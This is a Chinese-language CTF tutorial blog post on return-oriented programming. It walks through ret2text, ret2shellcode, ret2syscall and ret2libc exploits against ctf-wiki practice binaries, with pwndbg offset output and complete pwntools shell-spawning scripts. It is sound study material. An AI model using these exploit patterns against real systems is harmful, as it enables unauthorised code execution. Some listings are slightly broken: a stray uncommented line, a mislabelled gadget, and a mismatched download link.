获取中...

-

Just a minute...

基本的rop

ROP攻击的前提

1.存在栈溢出并可以控制返回地址

2.存在满足条件的gadget以及相应的gatget地址。如果开启了PIE保护则要想办法泄露gadget的地址。

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序

原理

ret2text

原理:控制程序执行程序已有的代码。程序本身存在system(‘/bin/sh’)或execv(‘/bin/sh’)的片段,可以直接将返回地址覆盖位其地址跳转到已有的代码上。

ret2shellcode

原理:控制程序执行shellcode代码,通常用来获取目标系统的shell。需要自己构造shellcode并控制程序跳转到构造的shellcode处。(需要程序关闭NX)

ret2syscall

原理:控制程序执行系统调用获取shellcode(需要利用gedget构造系统调用)

ret2libc

原理:控制函数执行ret2libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例1(ret2text)

ret2text:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

查看保护措施

开启了NX保护,所以不能在堆栈中写入shellcode

ida分析程序的溢出点

用ida查看,secure中存在调用 system(“/bin/sh”) 的代码

所以直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。而gets函数会无限制的读取用户输入,必然会覆盖返回地址,所以要先确认覆盖多少位才会覆盖到返回地址。可以使用cyclic确定。

计算偏移

cyclic 200生成一个200个字节的字符串,然后确定输入的字符串第一个字节与ebp的距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/Thriumph/pwn/ret2text
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0x62616163 ('caab')
ESP 0xffffd070 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616164










─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd070 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffd074 ◂— 0x62616166 ('faab')
02:0008│ 0xffffd078 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffd07c ◂— 0x62616168 ('haab')
04:0010│ 0xffffd080 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffd084 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffd088 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffd08c ◂— 0x6261616c ('laab')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 62616164
f 1 62616165
f 2 62616166
f 3 62616167
f 4 62616168
f 5 62616169
f 6 6261616a
f 7 6261616b
f 8 6261616c
f 9 6261616d
f 10 6261616e
Program received signal SIGSEGV (fault address 0x62616164)
pwndbg> cyclic -l 0x62616164
112

计算出来的偏移是112,

exp

1
2
3
4
5
#!/usr/bin/env python
from pwn import *
p =process('./ret2text')
p.sendline('a'*112+p32(0x804863a))
p.interactive()

例2(ret2shellcode)

(ret2shellcode):https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode

查看保护措施

查看文件,是一个32位的elf可执行文件,没有开启任何保护,NX没有开启,ip寄存器指向堆栈,shellcode在堆栈上或者其他数据段上,让ip寄存器指向哪里就可以获得shell

ida分析

用ida查看main函数,存在明显的栈溢出,gets()函数会不断地向s中写入,只有遇到\00才会停止,这样在栈中就会溢出覆盖掉返回地址。

计算偏移

和上题方法相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Thriumph@ubuntu:~/pwn$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Thriumph@ubuntu:~/pwn$ pwndbg ret2shellcode
Reading symbols from ret2shellcode...done.
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> r
Starting program: /home/Thriumph/pwn/ret2shellcode
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0x62616163 ('caab')
ESP 0xffffd070 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x62616164










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd070 ◂— 0x62616165 ('eaab')
01:0004│ 0xffffd074 ◂— 0x62616166 ('faab')
02:0008│ 0xffffd078 ◂— 0x62616167 ('gaab')
03:000c│ 0xffffd07c ◂— 0x62616168 ('haab')
04:0010│ 0xffffd080 ◂— 0x62616169 ('iaab')
05:0014│ 0xffffd084 ◂— 0x6261616a ('jaab')
06:0018│ 0xffffd088 ◂— 0x6261616b ('kaab')
07:001c│ 0xffffd08c ◂— 0x6261616c ('laab')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 62616164
f 1 62616165
f 2 62616166
f 3 62616167
f 4 62616168
f 5 62616169
f 6 6261616a
f 7 6261616b
f 8 6261616c
f 9 6261616d
f 10 6261616e
Program received signal SIGSEGV (fault address 0x62616164)
pwndbg> cyclic -l 0x62616164
112

偏移为112

编写exp

思路

程序中没有system()函数,所以不能利用程序内部的函数,需要写入shellcode

但调用了strncpy函数,strncpy(buf2,&s,0x64u),也就是将输入复制到buf2中,查看buf2

buf2在bss段中的,因为没有开启PIE,bss段的地址是固定的,所以将shellcode写入bss段中就可以获得shell了。

整体思路就是返回地址被覆盖成shellcode地址,但程序并没有调用system()函数,所以不能利用程序内部的函数,这就需要写入shellcode,因为NX是关闭的,所以将shellcode写入.bss段,然后让返回地址指向shellcode。

exp

1
2
3
4
5
6
7
#!/usr/bin/env python
from pwn import *
sh=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
addr=0x804a080
sh.sendline(shellcode.ljust(112,'A')+p32(addr)) #这里将shellcode和a填充到栈中,总长度为112
sh.interactive()

例3(ret2syscall)

ret2syscall https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

查看文件信息

这是一个静态链接的文件,并且开启了NX保护

ida分析

还是get()函数造成溢出,但是没有system()函数

计算偏移

还是先确定多少偏移能够覆盖返回地址。方法与上面相同,很容易计算出偏移还是112

编写exp

思路

需要知道一个概念:把对应获取shell的系统调用参数放到对应的寄存器中,之后执行int 80就可执行对应的系统调用

可以利用execve(“/bin/sh”,NULL,NULL)这个系统调用获取shell

所以需要符合:
1.系统调用号,即 eax 应该为 0xb(exeve的系统调用号为0xb)
2.第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执3.行 sh 的地址也可以。
4.第二个参数,即 ecx 应该为 0
5.第三个参数,即 edx 应该为 0

之后就要想办法给寄存器赋值了。在汇编中,当栈顶是10时,执行pop eax,这时候eax的值就是10了。所以我们就可以一次一次拼凑出一个shell

因为程序并没有开启PIE保护,所以程序自身地址是固定的。用ROPgadget工具分析程序成shell调用的代码段,生成一个rop chain,也可以自己拼接

ROPgadget –binary ./rop –ropchain

生成里一个模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80

程序跳转到这里就能够获得shell了,也就是将p参数拼接在溢出位置

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import pack
Padding goes here
p = ''
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
>p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # inc eax ; ret
from pwn import *
r = process('./rop')
r.sendline('a' * 112 +p)
r.interactive()

例4(ret2libc1)

ret2libc1:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2

查看文件信息

开启了NX保护,不过和上题不同的是动态链接的,都没什么作用,就是寻找代码多少的问题。。。

用ida查看

还是get()函数

但是调用了system函数

计算偏移

还是同样的方法得到偏移是112

编写exp

思路

虽然有system()函数,但是函数中的参数不是我们需要的

思路1(不可行)

那就先试试上一题的思路,用ropgadgetROPgadget --binary ./ret2libc1 --ropchain返回结果失败了[-] Can't find the 'mov dword ptr [r32], r32' gadget 找不到对应的代码段

思路二(可行)

前面已经发现可以利用的函数,这时候需要参数,其实这里就是上一题的分解步骤,因为不能直接跳转到system(“shell!?”),这时候需要在程序中查找“/bin/sh”字符串,f返回到这里就行了

在0x8049720存在/bin/sh

exp

1
2
3
4
5
from pwn import *
p=process('./ret2libc1')
elf=ELF('./ret2libc1')
p.sendline('a'*112 + p32(elf.plt['system'])+'aaaa' + p32(0x8049720)) #elf.plt['system']从plt表中搜索函数
p.interactive()

如果是正常调用 system 函数,调用的时候会有一个对应的返回地址,这里以’aaaa’ 作为虚假的地址,其后参数对应的参数内容。这一题提供了system函数和对应的字符串,还是比较简单的

例5(ret2libc2)

ret2libc2 https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2

查看基本信息

依然是NX保护,依然是动态链接

ida分析

get()函数造成溢出

system中的函数还是存在问题

计算偏移

方法相同,用cyclic计算偏移还是112

思路

还是上一题的思路,在程序中查找”/bin/sh”字符串,发现找不到这个字符串ROPgadget --binary ./ret2libc2 --string '/bin/sh'

这时候可以利用gets()函数将’/bin/sh’这个字符串读取到栈中,然后调用就行了。要想执行完gets后执行system函数而不是直接返回地址,这时候我们得shellcode就需要两个函数,两个函数的链接就需要继续用到ROP将两个函数链接。而其中的以ret结尾的代码就叫gadget。所以需要使用ROPgadget查找一个pop ebx;ret的地址。ROPgadget --binary ./ret2libc2 --only 'pop|ret' |grep 'ebx'

如果程序中存在pop eax; ret,地址为100,用100替换aaaa,则执行完gets后会执行

pop eax;ret,

如果p.sendline(‘a’*112+p32(elf.plt[‘gets’])+’aaaa’+p32(elf.bss()+0x100)+’bbbb’)

就会执行bbbb

像pop eax; ret这样的以ret结尾的代码成为gadget

寻找gadget可以用ROPgadget手动寻找,也可以用pwntools中的模块自动寻找

exp

1
2
3
4
5
6
7
from pwn import *
p=process('./ret2libc2')
elf=ELF('./ret2libc2')
rop=ROP(elf)
p.sendline('a'*112 + p32(elf.plt['gets'])+p32(rop.search(8).address)+p32(elf.bss()+0x100) + p32(elf.plt['system'])+'aaaa' +p32(elf.bss()+0x100))
p.sendline('/bin/sh\x00')
p.interactive()

p.sendline('a'*112 + p32(elf.plt['gets']) +p32(rop.search(8).address)+p32(elf.bss()+0x100) + p32(elf.plt['system'])+'aaaa' +p32(elf.bss()+0x100))
这就是执行了gets(elf.bss()+0x100)后执行system(elf.bss()+0x100),中间通过gadget连接起来

例6(ret2libc3)

ret2libc3 https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3

查看文件信息

开启了NX,依然是动态链接的

ida分析

gets函数造成溢出

与上一题不同的是,不仅没有’/bin/sh’,system函数的地址也不知道

计算偏移

。。。还是112

思路

找不到可以利用的函数和参数,可以在动态链接的文件中获取。

第一步要通过地址泄露来判断目标服务器的libc版本

通过pwntools,从plt表中找到puts函数的地址执行,并把got表内的puts地址当成参数。这样就能输出puts函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level = 'debug'
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
if args.G: #开启调试标记
gdb.attach(p)
p.sendlineafter('!?','a'*112+p32(elf.plt['puts'])+'aaaa'+p32(elf.got['puts']))

p.interactive()

结果是:

1
2
3
4
5
6
7
8
9
10
11
[DEBUG] Sent 0x7d bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000070 60 84 04 08 61 61 61 61 18 a0 04 08 0a │`···│aaaa│····│·│
0000007d
[*] Switching to interactive mode
[DEBUG] Received 0x1d bytes:
00000000 a0 bc d7 f7 76 84 04 08 86 84 04 08 40 45 d3 f7 │····│v···│····│@E··│
00000010 60 c3 d7 f7 b6 84 04 08 c6 84 04 08 0a │`···│····│····│·│
0000001d
\xa0\xbc��v\x84\x0\x86\x84\x0@E��`�����Ƅ\x0

获取libc版本

用ibc-database工具查找libc的对应的版本

下载对应的libc版本放入到exp路径

查找’/bin/sh’

ROPgadget --binary libc.so --string '/bin/sh'

1
2
3
Strings information
=============================================
0x0015ba0b : /bin/sh

获取主函数地址

1
2
3
4
5
6
7
.text:08048618 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048618 public main
.text:08048618 main proc near ; DATA XREF: _start+17o
.text:08048618
.text:08048618 argc = dword ptr 8
.text:08048618 argv = dword ptr 0Ch
.text:08048618 envp

基本利用思路

泄露 __libc_start_main 地址

获取 libc 版本

获取 system 地址与 /bin/sh 的地址

再次执行源程序

触发栈溢出执行 system(‘/bin/sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()
相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
Please check the parameter of comment in config.yml of hexo-theme-Annie!